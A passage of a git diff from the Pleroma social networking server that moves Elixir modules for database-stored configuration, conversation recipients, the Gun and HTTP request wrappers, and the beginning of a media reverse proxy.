is_binary(entity), do: entity - - def to_json_types(entity) when is_boolean(entity) or is_number(entity) or is_nil(entity) do - entity - end - - def to_json_types(entity) when entity in [:"tlsv1.1", :"tlsv1.2", :"tlsv1.3"] do - ":#{entity}" - end - - def to_json_types(entity) when is_atom(entity), do: inspect(entity) - - @spec to_elixir_types(boolean() | String.t() | map() | list()) :: term() - def to_elixir_types(%{"tuple" => [":args", args]}) when is_list(args) do - arguments = - Enum.map(args, fn arg -> - if String.contains?(arg, ["{", "}"]) do - {elem, []} = Code.eval_string(arg) - elem - else - to_elixir_types(arg) - end - end) - - {:args, arguments} - end - - def to_elixir_types(%{"tuple" => [":proxy_url", %{"tuple" => [type, host, port]}]}) do - {:proxy_url, {string_to_elixir_types(type), parse_host(host), port}} - end - - def to_elixir_types(%{"tuple" => [":partial_chain", entity]}) do - {partial_chain, []} = - entity - |> String.replace(~r/[^\w|^{:,[|^,|^[|^\]^}|^\/|^\.|^"]^\s/, "") - |> Code.eval_string() - - {:partial_chain, partial_chain} - end - - def to_elixir_types(%{"tuple" => entity}) do - Enum.reduce(entity, {}, &Tuple.append(&2, to_elixir_types(&1))) - end - - def to_elixir_types(entity) when is_map(entity) do - Map.new(entity, fn {k, v} -> {to_elixir_types(k), to_elixir_types(v)} end) - end - - def to_elixir_types(entity) when is_list(entity) do - Enum.map(entity, &to_elixir_types/1) - end - - def to_elixir_types(entity) when is_binary(entity) do - entity - |> String.trim() - |> string_to_elixir_types() - end - - def to_elixir_types(entity), do: entity - - @spec string_to_elixir_types(String.t()) :: - atom() | Regex.t() | module() | String.t() | no_return() - def string_to_elixir_types("~r" <> _pattern = regex) do - pattern = - ~r/^~r(?'delimiter'[\/|"'([{<]{1})(?'pattern'.+)[\/|"')\]}>]{1}(?'modifier'[uismxfU]*)/u - - delimiters = ["/", "|", "\"", "'", {"(", ")"}, {"[", "]"}, {"{", "}"}, {"<", ">"}] - - with %{"modifier" => modifier, "pattern" => pattern, "delimiter" => regex_delimiter} <- - Regex.named_captures(pattern, regex), - {:ok, {leading, closing}} <- find_valid_delimiter(delimiters, pattern, regex_delimiter), - {result, _} <- Code.eval_string("~r#{leading}#{pattern}#{closing}#{modifier}") do - result - end - end - - def string_to_elixir_types(":" <> atom), do: String.to_atom(atom) - - def string_to_elixir_types(value) do - if module_name?(value) do - String.to_existing_atom("Elixir." <> value) - else - value - end - end - - defp parse_host("localhost"), do: :localhost - - defp parse_host(host) do - charlist = to_charlist(host) - - case :inet.parse_address(charlist) do - {:error, :einval} -> - charlist - - {:ok, ip} -> - ip - end - end - - defp find_valid_delimiter([], _string, _) do - raise(ArgumentError, message: "valid delimiter for Regex expression not found") - end - - defp find_valid_delimiter([{leading, closing} = delimiter | others], pattern, regex_delimiter) - when is_tuple(delimiter) do - if String.contains?(pattern, closing) do - find_valid_delimiter(others, pattern, regex_delimiter) - else - {:ok, {leading, closing}} - end - end - - defp find_valid_delimiter([delimiter | others], pattern, regex_delimiter) do - if String.contains?(pattern, delimiter) do - find_valid_delimiter(others, pattern, regex_delimiter) - else - {:ok, {delimiter, delimiter}} - end - end - - @spec module_name?(String.t()) :: boolean() - def module_name?(string) do - Regex.match?(~r/^(Pleroma|Phoenix|Tesla|Quack|Ueberauth|Swoosh)\./, string) or - string in ["Oban", "Ueberauth", "ExSyslogger"] - end -end diff --git a/lib/pleroma/config_db.ex b/lib/pleroma/config_db.ex new file mode 100644 index 000000000..e5b7811aa --- /dev/null +++ b/lib/pleroma/config_db.ex @@ -0,0 +1,382 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ConfigDB do + use Ecto.Schema + + import Ecto.Changeset + import Ecto.Query, only: [select: 3] + import Pleroma.Web.Gettext + + alias __MODULE__ + alias Pleroma.Repo + + @type t :: %__MODULE__{} + + @full_subkey_update [ + {:pleroma, :assets, :mascots}, + {:pleroma, :emoji, :groups}, + {:pleroma, :workers, :retries}, + {:pleroma, :mrf_subchain, :match_actor}, + {:pleroma, :mrf_keyword, :replace} + ] + + schema "config" do + field(:key, Pleroma.EctoType.Config.Atom) + field(:group, Pleroma.EctoType.Config.Atom) + field(:value, Pleroma.EctoType.Config.BinaryValue) + field(:db, {:array, :string}, virtual: true, default: []) + + timestamps() + end + + @spec get_all_as_keyword() :: keyword() + def get_all_as_keyword do + ConfigDB + |> select([c], {c.group, c.key, c.value}) + |> Repo.all() + |> Enum.reduce([], fn {group, key, value}, acc -> + Keyword.update(acc, group, [{key, value}], &Keyword.merge(&1, [{key, value}])) + end) + end + + @spec get_by_params(map()) :: ConfigDB.t() | nil + def get_by_params(params), do: Repo.get_by(ConfigDB, params) + + @spec changeset(ConfigDB.t(), map()) :: Changeset.t() + def changeset(config, params \\ %{}) do + config + |> cast(params, [:key, :group, :value]) + |> validate_required([:key, :group, :value]) + |> unique_constraint(:key, name: :config_group_key_index) + end + + defp create(params) do + %ConfigDB{} + |> changeset(params) + |> Repo.insert() + end + + defp update(%ConfigDB{} = config, %{value: value}) do + config + |> changeset(%{value: value}) + |> Repo.update() + end + + @spec get_db_keys(keyword(), any()) :: [String.t()] + def get_db_keys(value, key) do + keys = + if Keyword.keyword?(value) do + Keyword.keys(value) + else + [key] + end + + Enum.map(keys, &to_json_types(&1)) + end + + @spec merge_group(atom(), atom(), keyword(), keyword()) :: keyword() + def merge_group(group, key, old_value, new_value) do + new_keys = to_mapset(new_value) + + intersect_keys = old_value |> to_mapset() |> MapSet.intersection(new_keys) |> MapSet.to_list() + + merged_value = ConfigDB.merge(old_value, new_value) + + @full_subkey_update + |> Enum.map(fn + {g, k, subkey} when g == group and k == key -> + if subkey in intersect_keys, do: subkey, else: [] + + _ -> + [] + end) + |> List.flatten() + |> Enum.reduce(merged_value, &Keyword.put(&2, &1, new_value[&1])) + end + + defp to_mapset(keyword) do + keyword + |> Keyword.keys() + |> MapSet.new() + end + + @spec sub_key_full_update?(atom(), atom(), [Keyword.key()]) :: boolean() + def sub_key_full_update?(group, key, subkeys) do + Enum.any?(@full_subkey_update, fn {g, k, subkey} -> + g == group and k == key and subkey in subkeys + end) + end + + @spec merge(keyword(), keyword()) :: keyword() + def merge(config1, config2) when is_list(config1) and is_list(config2) do + Keyword.merge(config1, config2, fn _, app1, app2 -> + if Keyword.keyword?(app1) and Keyword.keyword?(app2) do + Keyword.merge(app1, app2, &deep_merge/3) + else + app2 + end + end) + end + + defp deep_merge(_key, value1, value2) do + if Keyword.keyword?(value1) and Keyword.keyword?(value2) do + Keyword.merge(value1, value2, &deep_merge/3) + else + value2 + end + end + + @spec update_or_create(map()) :: {:ok, ConfigDB.t()} | {:error, Changeset.t()} + def update_or_create(params) do + params = Map.put(params, :value, to_elixir_types(params[:value])) + search_opts = Map.take(params, [:group, :key]) + + with %ConfigDB{} = config <- ConfigDB.get_by_params(search_opts), + {_, true, config} <- {:partial_update, can_be_partially_updated?(config), config}, + {_, true, config} <- + {:can_be_merged, is_list(params[:value]) and is_list(config.value), config} do + new_value = merge_group(config.group, config.key, config.value, params[:value]) + update(config, %{value: new_value}) + else + {reason, false, config} when reason in [:partial_update, :can_be_merged] -> + update(config, params) + + nil -> + create(params) + end + end + + defp can_be_partially_updated?(%ConfigDB{} = config), do: not only_full_update?(config) + + defp only_full_update?(%ConfigDB{group: group, key: key}) do + full_key_update = [ + {:pleroma, :ecto_repos}, + {:quack, :meta}, + {:mime, :types}, + {:cors_plug, [:max_age, :methods, :expose, :headers]}, + {:swarm, :node_blacklist}, + {:logger, :backends} + ] + + Enum.any?(full_key_update, fn + {s_group, s_key} -> + group == s_group and ((is_list(s_key) and key in s_key) or key == s_key) + end) + end + + @spec delete(ConfigDB.t() | map()) :: {:ok, ConfigDB.t()} | {:error, Changeset.t()} + def delete(%ConfigDB{} = config), do: Repo.delete(config) + + def delete(params) do + search_opts = Map.delete(params, :subkeys) + + with %ConfigDB{} = config <- ConfigDB.get_by_params(search_opts), + {config, sub_keys} when is_list(sub_keys) <- {config, params[:subkeys]}, + keys <- Enum.map(sub_keys, &string_to_elixir_types(&1)), + {_, config, new_value} when new_value != [] <- + {:partial_remove, config, Keyword.drop(config.value, keys)} do + update(config, %{value: new_value}) + else + {:partial_remove, config, []} -> + Repo.delete(config) + + {config, nil} -> + Repo.delete(config) + + nil -> + err = + dgettext("errors", "Config with params %{params} not found", params: inspect(params)) + + {:error, err} + end + end + + @spec to_json_types(term()) :: map() | list() | boolean() | String.t() + def to_json_types(entity) when is_list(entity) do + Enum.map(entity, &to_json_types/1) + end + + def to_json_types(%Regex{} = entity), do: inspect(entity) + + def to_json_types(entity) when is_map(entity) do + Map.new(entity, fn {k, v} -> {to_json_types(k), to_json_types(v)} end) + end + + def to_json_types({:args, args}) when is_list(args) do + arguments = + Enum.map(args, fn + arg when is_tuple(arg) -> inspect(arg) + arg -> to_json_types(arg) + end) + + %{"tuple" => [":args", arguments]} + end + + def to_json_types({:proxy_url, {type, :localhost, port}}) do + %{"tuple" => [":proxy_url", %{"tuple" => [to_json_types(type), "localhost", port]}]} + end + + def to_json_types({:proxy_url, {type, host, port}}) when is_tuple(host) do + ip = + host + |> :inet_parse.ntoa() + |> to_string() + + %{ + "tuple" => [ + ":proxy_url", + %{"tuple" => [to_json_types(type), ip, port]} + ] + } + end + + def to_json_types({:proxy_url, {type, host, port}}) do + %{ + "tuple" => [ + ":proxy_url", + %{"tuple" => [to_json_types(type), to_string(host), port]} + ] + } + end + + def to_json_types({:partial_chain, entity}), + do: %{"tuple" => [":partial_chain", inspect(entity)]} + + def to_json_types(entity) when is_tuple(entity) do + value = + entity + |> Tuple.to_list() + |> to_json_types() + + %{"tuple" => value} + end + + def to_json_types(entity) when is_binary(entity), do: entity + + def to_json_types(entity) when is_boolean(entity) or is_number(entity) or is_nil(entity) do + entity + end + + def to_json_types(entity) when entity in [:"tlsv1.1", :"tlsv1.2", :"tlsv1.3"] do + ":#{entity}" + end + + def to_json_types(entity) when is_atom(entity), do: inspect(entity) + + @spec to_elixir_types(boolean() | String.t() | map() | list()) :: term() + def to_elixir_types(%{"tuple" => [":args", args]}) when is_list(args) do + arguments = + Enum.map(args, fn arg -> + if String.contains?(arg, ["{", "}"]) do + {elem, []} = Code.eval_string(arg) + elem + else + to_elixir_types(arg) + end + end) + + {:args, arguments} + end + + def to_elixir_types(%{"tuple" => [":proxy_url", %{"tuple" => [type, host, port]}]}) do + {:proxy_url, {string_to_elixir_types(type), parse_host(host), port}} + end + + def to_elixir_types(%{"tuple" => [":partial_chain", entity]}) do + {partial_chain, []} = + entity + |> String.replace(~r/[^\w|^{:,[|^,|^[|^\]^}|^\/|^\.|^"]^\s/, "") + |> Code.eval_string() + + {:partial_chain, partial_chain} + end + + def to_elixir_types(%{"tuple" => entity}) do + Enum.reduce(entity, {}, &Tuple.append(&2, to_elixir_types(&1))) + end + + def to_elixir_types(entity) when is_map(entity) do + Map.new(entity, fn {k, v} -> {to_elixir_types(k), to_elixir_types(v)} end) + end + + def to_elixir_types(entity) when is_list(entity) do + Enum.map(entity, &to_elixir_types/1) + end + + def to_elixir_types(entity) when is_binary(entity) do + entity + |> String.trim() + |> string_to_elixir_types() + end + + def to_elixir_types(entity), do: entity + + @spec string_to_elixir_types(String.t()) :: + atom() | Regex.t() | module() | String.t() | no_return() + def string_to_elixir_types("~r" <> _pattern = regex) do + pattern = + ~r/^~r(?'delimiter'[\/|"'([{<]{1})(?'pattern'.+)[\/|"')\]}>]{1}(?'modifier'[uismxfU]*)/u + + delimiters = ["/", "|", "\"", "'", {"(", ")"}, {"[", "]"}, {"{", "}"}, {"<", ">"}] + + with %{"modifier" => modifier, "pattern" => pattern, "delimiter" => regex_delimiter} <- + Regex.named_captures(pattern, regex), + {:ok, {leading, closing}} <- find_valid_delimiter(delimiters, pattern, regex_delimiter), + {result, _} <- Code.eval_string("~r#{leading}#{pattern}#{closing}#{modifier}") do + result + end + end + + def string_to_elixir_types(":" <> atom), do: String.to_atom(atom) + + def string_to_elixir_types(value) do + if module_name?(value) do + String.to_existing_atom("Elixir." <> value) + else + value + end + end + + defp parse_host("localhost"), do: :localhost + + defp parse_host(host) do + charlist = to_charlist(host) + + case :inet.parse_address(charlist) do + {:error, :einval} -> + charlist + + {:ok, ip} -> + ip + end + end + + defp find_valid_delimiter([], _string, _) do + raise(ArgumentError, message: "valid delimiter for Regex expression not found") + end + + defp find_valid_delimiter([{leading, closing} = delimiter | others], pattern, regex_delimiter) + when is_tuple(delimiter) do + if String.contains?(pattern, closing) do + find_valid_delimiter(others, pattern, regex_delimiter) + else + {:ok, {leading, closing}} + end + end + + defp find_valid_delimiter([delimiter | others], pattern, regex_delimiter) do + if String.contains?(pattern, delimiter) do + find_valid_delimiter(others, pattern, regex_delimiter) + else + {:ok, {delimiter, delimiter}} + end + end + + @spec module_name?(String.t()) :: boolean() + def module_name?(string) do + Regex.match?(~r/^(Pleroma|Phoenix|Tesla|Quack|Ueberauth|Swoosh)\./, string) or + string in ["Oban", "Ueberauth", "ExSyslogger"] + end +end diff --git a/lib/pleroma/conversation/participation/recipient_ship.ex b/lib/pleroma/conversation/participation/recipient_ship.ex new file mode 100644 index 000000000..de40bacac --- /dev/null +++ b/lib/pleroma/conversation/participation/recipient_ship.ex @@ -0,0 +1,34 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Conversation.Participation.RecipientShip do + use Ecto.Schema + + alias Pleroma.Conversation.Participation + alias Pleroma.Repo + alias Pleroma.User + + import Ecto.Changeset + + schema "conversation_participation_recipient_ships" do + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) + belongs_to(:participation, Participation) + end + + def creation_cng(struct, params) do + struct + |> cast(params, [:user_id, :participation_id]) + |> validate_required([:user_id, :participation_id]) + end + + def create(%User{} = user, participation), do: create([user], participation) + + def create(users, participation) do + Enum.each(users, fn user -> + %__MODULE__{} + |> creation_cng(%{user_id: user.id, participation_id: participation.id}) + |> Repo.insert!() + end) + end +end diff --git a/lib/pleroma/conversation/participation_recipient_ship.ex b/lib/pleroma/conversation/participation_recipient_ship.ex deleted file mode 100644 index de40bacac..000000000 --- a/lib/pleroma/conversation/participation_recipient_ship.ex +++ /dev/null @@ -1,34 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Conversation.Participation.RecipientShip do - use Ecto.Schema - - alias Pleroma.Conversation.Participation - alias Pleroma.Repo - alias Pleroma.User - - import Ecto.Changeset - - schema "conversation_participation_recipient_ships" do - belongs_to(:user, User, type: FlakeId.Ecto.CompatType) - belongs_to(:participation, Participation) - end - - def creation_cng(struct, params) do - struct - |> cast(params, [:user_id, :participation_id]) - |> validate_required([:user_id, :participation_id]) - end - - def create(%User{} = user, participation), do: create([user], participation) - - def create(users, participation) do - Enum.each(users, fn user -> - %__MODULE__{} - |> creation_cng(%{user_id: user.id, participation_id: participation.id}) - |> Repo.insert!() - end) - end -end diff --git a/lib/pleroma/gun.ex b/lib/pleroma/gun.ex new file mode 100644 index 000000000..4043e4880 --- /dev/null +++ b/lib/pleroma/gun.ex @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Gun do + @callback open(charlist(), pos_integer(), map()) :: {:ok, pid()} + @callback info(pid()) :: map() + @callback close(pid()) :: :ok + @callback await_up(pid, pos_integer()) :: {:ok, atom()} | {:error, atom()} + @callback connect(pid(), map()) :: reference() + @callback await(pid(), reference()) :: {:response, :fin, 200, []} + @callback set_owner(pid(), pid()) :: :ok + + @api Pleroma.Config.get([Pleroma.Gun], Pleroma.Gun.API) + + defp api, do: @api + + def open(host, port, opts), do: api().open(host, port, opts) + + def info(pid), do: api().info(pid) + + def close(pid), do: api().close(pid) + + def await_up(pid, timeout \\ 5_000), do: api().await_up(pid, timeout) + + def connect(pid, opts), do: api().connect(pid, opts) + + def await(pid, ref), do: api().await(pid, ref) + + def set_owner(pid, owner), do: api().set_owner(pid, owner) +end diff --git a/lib/pleroma/gun/gun.ex b/lib/pleroma/gun/gun.ex deleted file mode 100644 index 4043e4880..000000000 --- a/lib/pleroma/gun/gun.ex +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Gun do - @callback open(charlist(), pos_integer(), map()) :: {:ok, pid()} - @callback info(pid()) :: map() - @callback close(pid()) :: :ok - @callback await_up(pid, pos_integer()) :: {:ok, atom()} | {:error, atom()} - @callback connect(pid(), map()) :: reference() - @callback await(pid(), reference()) :: {:response, :fin, 200, []} - @callback set_owner(pid(), pid()) :: :ok - - @api Pleroma.Config.get([Pleroma.Gun], Pleroma.Gun.API) - - defp api, do: @api - - def open(host, port, opts), do: api().open(host, port, opts) - - def info(pid), do: api().info(pid) - - def close(pid), do: api().close(pid) - - def await_up(pid, timeout \\ 5_000), do: api().await_up(pid, timeout) - - def connect(pid, opts), do: api().connect(pid, opts) - - def await(pid, ref), do: api().await(pid, ref) - - def set_owner(pid, owner), do: api().set_owner(pid, owner) -end diff --git a/lib/pleroma/http.ex b/lib/pleroma/http.ex new file mode 100644 index 000000000..052597191 --- /dev/null +++ b/lib/pleroma/http.ex @@ -0,0 +1,110 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP do + @moduledoc """ + Wrapper for `Tesla.request/2`. + """ + + alias Pleroma.HTTP.AdapterHelper + alias Pleroma.HTTP.Request + alias Pleroma.HTTP.RequestBuilder, as: Builder + alias Tesla.Client + alias Tesla.Env + + require Logger + + @type t :: __MODULE__ + @type method() :: :get | :post | :put | :delete | :head + + @doc """ + Performs GET request. + + See `Pleroma.HTTP.request/5` + """ + @spec get(Request.url() | nil, Request.headers(), keyword()) :: + nil | {:ok, Env.t()} | {:error, any()} + def get(url, headers \\ [], options \\ []) + def get(nil, _, _), do: nil + def get(url, headers, options), do: request(:get, url, "", headers, options) + + @spec head(Request.url(), Request.headers(), keyword()) :: {:ok, Env.t()} | {:error, any()} + def head(url, headers \\ [], options \\ []), do: request(:head, url, "", headers, options) + + @doc """ + Performs POST request. + + See `Pleroma.HTTP.request/5` + """ + @spec post(Request.url(), String.t(), Request.headers(), keyword()) :: + {:ok, Env.t()} | {:error, any()} + def post(url, body, headers \\ [], options \\ []), + do: request(:post, url, body, headers, options) + + @doc """ + Builds and performs http request. + + # Arguments: + `method` - :get, :post, :put, :delete, :head + `url` - full url + `body` - request body + `headers` - a keyworld list of headers, e.g. `[{"content-type", "text/plain"}]` + `options` - custom, per-request middleware or adapter options + + # Returns: + `{:ok, %Tesla.Env{}}` or `{:error, error}` + + """ + @spec request(method(), Request.url(), String.t(), Request.headers(), keyword()) :: + {:ok, Env.t()} | {:error, any()} + def request(method, url, body, headers, options) when is_binary(url) do + uri = URI.parse(url) + adapter_opts = AdapterHelper.options(uri, options || []) + + options = put_in(options[:adapter], adapter_opts) + params = options[:params] || [] + request = build_request(method, headers, options, url, body, params) + + adapter = Application.get_env(:tesla, :adapter) + + client = Tesla.client(adapter_middlewares(adapter), adapter) + + maybe_limit( + fn -> + request(client, request) + end, + adapter, + adapter_opts + ) + end + + @spec request(Client.t(), keyword()) :: {:ok, Env.t()} | {:error, any()} + def request(client, request), do: Tesla.request(client, request) + + defp build_request(method, headers, options, url, body, params) do + Builder.new() + |> Builder.method(method) + |> Builder.headers(headers) + |> Builder.opts(options) + |> Builder.url(url) + |> Builder.add_param(:body, :body, body) + |> Builder.add_param(:query, :query, params) + |> Builder.convert_to_keyword() + end + + @prefix Pleroma.Gun.ConnectionPool + defp maybe_limit(fun, Tesla.Adapter.Gun, opts) do + ConcurrentLimiter.limit(:"#{@prefix}.#{opts[:pool] || :default}", fun) + end + + defp maybe_limit(fun, _, _) do + fun.() + end + + defp adapter_middlewares(Tesla.Adapter.Gun) do + [Tesla.Middleware.FollowRedirects, Pleroma.Tesla.Middleware.ConnectionPool] + end + + defp adapter_middlewares(_), do: [] +end diff --git a/lib/pleroma/http/http.ex b/lib/pleroma/http/http.ex deleted file mode 100644 index 052597191..000000000 --- a/lib/pleroma/http/http.ex +++ /dev/null @@ -1,110 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP do - @moduledoc """ - Wrapper for `Tesla.request/2`. - """ - - alias Pleroma.HTTP.AdapterHelper - alias Pleroma.HTTP.Request - alias Pleroma.HTTP.RequestBuilder, as: Builder - alias Tesla.Client - alias Tesla.Env - - require Logger - - @type t :: __MODULE__ - @type method() :: :get | :post | :put | :delete | :head - - @doc """ - Performs GET request. - - See `Pleroma.HTTP.request/5` - """ - @spec get(Request.url() | nil, Request.headers(), keyword()) :: - nil | {:ok, Env.t()} | {:error, any()} - def get(url, headers \\ [], options \\ []) - def get(nil, _, _), do: nil - def get(url, headers, options), do: request(:get, url, "", headers, options) - - @spec head(Request.url(), Request.headers(), keyword()) :: {:ok, Env.t()} | {:error, any()} - def head(url, headers \\ [], options \\ []), do: request(:head, url, "", headers, options) - - @doc """ - Performs POST request. - - See `Pleroma.HTTP.request/5` - """ - @spec post(Request.url(), String.t(), Request.headers(), keyword()) :: - {:ok, Env.t()} | {:error, any()} - def post(url, body, headers \\ [], options \\ []), - do: request(:post, url, body, headers, options) - - @doc """ - Builds and performs http request. - - # Arguments: - `method` - :get, :post, :put, :delete, :head - `url` - full url - `body` - request body - `headers` - a keyworld list of headers, e.g. `[{"content-type", "text/plain"}]` - `options` - custom, per-request middleware or adapter options - - # Returns: - `{:ok, %Tesla.Env{}}` or `{:error, error}` - - """ - @spec request(method(), Request.url(), String.t(), Request.headers(), keyword()) :: - {:ok, Env.t()} | {:error, any()} - def request(method, url, body, headers, options) when is_binary(url) do - uri = URI.parse(url) - adapter_opts = AdapterHelper.options(uri, options || []) - - options = put_in(options[:adapter], adapter_opts) - params = options[:params] || [] - request = build_request(method, headers, options, url, body, params) - - adapter = Application.get_env(:tesla, :adapter) - - client = Tesla.client(adapter_middlewares(adapter), adapter) - - maybe_limit( - fn -> - request(client, request) - end, - adapter, - adapter_opts - ) - end - - @spec request(Client.t(), keyword()) :: {:ok, Env.t()} | {:error, any()} - def request(client, request), do: Tesla.request(client, request) - - defp build_request(method, headers, options, url, body, params) do - Builder.new() - |> Builder.method(method) - |> Builder.headers(headers) - |> Builder.opts(options) - |> Builder.url(url) - |> Builder.add_param(:body, :body, body) - |> Builder.add_param(:query, :query, params) - |> Builder.convert_to_keyword() - end - - @prefix Pleroma.Gun.ConnectionPool - defp maybe_limit(fun, Tesla.Adapter.Gun, opts) do - ConcurrentLimiter.limit(:"#{@prefix}.#{opts[:pool] || :default}", fun) - end - - defp maybe_limit(fun, _, _) do - fun.() - end - - defp adapter_middlewares(Tesla.Adapter.Gun) do - [Tesla.Middleware.FollowRedirects, Pleroma.Tesla.Middleware.ConnectionPool] - end - - defp adapter_middlewares(_), do: [] -end diff --git a/lib/pleroma/reverse_proxy.ex b/lib/pleroma/reverse_proxy.ex new file mode 100644 index 000000000..8ae1157df --- /dev/null +++ b/lib/pleroma/reverse_proxy.ex @@ -0,0 +1,432 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ReverseProxy do + @range_headers ~w(range if-range) + @keep_req_headers ~w(accept user-agent accept-encoding cache-control if-modified-since) ++ + ~w(if-unmodified-since if-none-match) ++ @range_headers + @resp_cache_headers ~w(etag date last-modified) + @keep_resp_headers @resp_cache_headers ++ + ~w(content-length content-type content-disposition content-encoding) ++ + ~w(content-range accept-ranges vary) + @default_cache_control_header "public, max-age=1209600" + @valid_resp_codes [200, 206, 304] + @max_read_duration :timer.seconds(30) + @max_body_length :infinity + @failed_request_ttl :timer.seconds(60) + @methods ~w(GET HEAD) + + def max_read_duration_default, do: @max_read_duration + def default_cache_control_header, do: @default_cache_control_header + + @moduledoc """ + A reverse proxy. + + Pleroma.ReverseProxy.call(conn, url, options) + + It is not meant to be added into a plug pipeline, but to be called from another plug or controller. + + Supports `#{inspect(@methods)}` HTTP methods, and only allows `#{inspect(@valid_resp_codes)}` status codes. + + Responses are chunked to the client while downloading from the upstream. + + Some request / responses headers are preserved: + + * request: `#{inspect(@keep_req_headers)}` + * response: `#{inspect(@keep_resp_headers)}` + + Options: + + * `redirect_on_failure` (default `false`). Redirects the client to the real remote URL if there's any HTTP + errors. Any error during body processing will not be redirected as the response is chunked. This may expose + remote URL, clients IPs, …. + + * `max_body_length` (default `#{inspect(@max_body_length)}`): limits the content length to be approximately the + specified length. It is validated with the `content-length` header and also verified when proxying. + + * `max_read_duration` (default `#{inspect(@max_read_duration)}` ms): the total time the connection is allowed to + read from the remote upstream. + + * `failed_request_ttl` (default `#{inspect(@failed_request_ttl)}` ms): the time the failed request is cached and cannot be retried. + + * `inline_content_types`: + * `true` will not alter `content-disposition` (up to the upstream), + * `false` will add `content-disposition: attachment` to any request, + * a list of whitelisted content types + + * `keep_user_agent` will forward the client's user-agent to the upstream. This may be useful if the upstream is + doing content transformation (encoding, …) depending on the request. + + * `req_headers`, `resp_headers` additional headers. + + * `http`: options for [hackney](https://github.com/benoitc/hackney) or [gun](https://github.com/ninenines/gun). + + """ + @default_options [pool: :media] + + @inline_content_types [ + "image/gif", + "image/jpeg", + "image/jpg", + "image/png", + "image/svg+xml", + "audio/mpeg", + "audio/mp3", + "video/webm", + "video/mp4", + "video/quicktime" + ] + + require Logger + import Plug.Conn + + @type option() :: + {:keep_user_agent, boolean} + | {:max_read_duration, :timer.time() | :infinity} + | {:max_body_length, non_neg_integer() | :infinity} + | {:failed_request_ttl, :timer.time() | :infinity} + | {:http, []} + | {:req_headers, [{String.t(), String.t()}]} + | {:resp_headers, [{String.t(), String.t()}]} + | {:inline_content_types, boolean() | [String.t()]} + | {:redirect_on_failure, boolean()} + + @spec call(Plug.Conn.t(), url :: String.t(), [option()]) :: Plug.Conn.t() + def call(_conn, _url, _opts \\ []) + + def call(conn = %{method: method}, url, opts) when method in @methods do + client_opts = Keyword.merge(@default_options, Keyword.get(opts, :http, [])) + + req_headers = build_req_headers(conn.req_headers, opts) + + opts = + if filename = Pleroma.Web.MediaProxy.filename(url) do + Keyword.put_new(opts, :attachment_name, filename) + else + opts + end + + with {:ok, nil} <- Cachex.get(:failed_proxy_url_cache, url), + {:ok, code, headers, client} <- request(method, url, req_headers, client_opts), + :ok <- + header_length_constraint( + headers, + Keyword.get(opts, :max_body_length, @max_body_length) + ) do + response(conn, client, url, code, headers, opts) + else + {:ok, true} -> + conn + |> error_or_redirect(url, 500, "Request failed", opts) + |> halt() + + {:ok, code, headers} -> + head_response(conn, url, code, headers, opts) + |> halt() + + {:error, {:invalid_http_response, code}} -> + Logger.error("#{__MODULE__}: request to #{inspect(url)} failed with HTTP status #{code}") + track_failed_url(url, code, opts) + + conn + |> error_or_redirect( + url, + code, + "Request failed: " <> Plug.Conn.Status.reason_phrase(code), + opts + ) + |> halt() + + {:error, error} -> + Logger.error("#{__MODULE__}: request to #{inspect(url)} failed: #{inspect(error)}") + track_failed_url(url, error, opts) + + conn + |> error_or_redirect(url, 500, "Request failed", opts) + |> halt() + end + end + + def call(conn, _, _) do + conn + |> send_resp(400, Plug.Conn.Status.reason_phrase(400)) + |> halt() + end + + defp request(method, url, headers, opts) do + Logger.debug("#{__MODULE__} #{method} #{url} #{inspect(headers)}") + method = method |> String.downcase() |> String.to_existing_atom() + + case client().request(method, url, headers, "", opts) do + {:ok, code, headers, client} when code in @valid_resp_codes -> + {:ok, code, downcase_headers(headers), client} + + {:ok, code, headers} when code in @valid_resp_codes -> + {:ok, code, downcase_headers(headers)} + + {:ok, code, _, _} -> + {:error, {:invalid_http_response, code}} + + {:ok, code, _} -> + {:error, {:invalid_http_response, code}} + + {:error, error} -> + {:error, error} + end + end + + defp response(conn, client, url, status, headers, opts) do + Logger.debug("#{__MODULE__} #{status} #{url} #{inspect(headers)}") + + result = + conn + |> put_resp_headers(build_resp_headers(headers, opts)) + |> send_chunked(status) + |> chunk_reply(client, opts) + + case result do + {:ok, conn} -> + halt(conn) + + {:error, :closed, conn} -> + client().close(client) + halt(conn) + + {:error, error, conn} -> + Logger.warn( + "#{__MODULE__} request to #{url} failed while reading/chunking: #{inspect(error)}" + ) + + client().close(client) + halt(conn) + end + end + + defp chunk_reply(conn, client, opts) do + chunk_reply(conn, client, opts, 0, 0) + end + + defp chunk_reply(conn, client, opts, sent_so_far, duration) do + with {:ok, duration} <- + check_read_duration( + duration, + Keyword.get(opts, :max_read_duration, @max_read_duration) + ), + {:ok, data, client} <- client().stream_body(client), + {:ok, duration} <- increase_read_duration(duration), + sent_so_far = sent_so_far + byte_size(data), + :ok <- + body_size_constraint( + sent_so_far, + Keyword.get(opts, :max_body_length, @max_body_length) + ), + {:ok, conn} <- chunk(conn, data) do + chunk_reply(conn, client, opts, sent_so_far, duration) + else + :done -> {:ok, conn} + {:error, error} -> {:error, error, conn} + end + end + + defp head_response(conn, url, code, headers, opts) do + 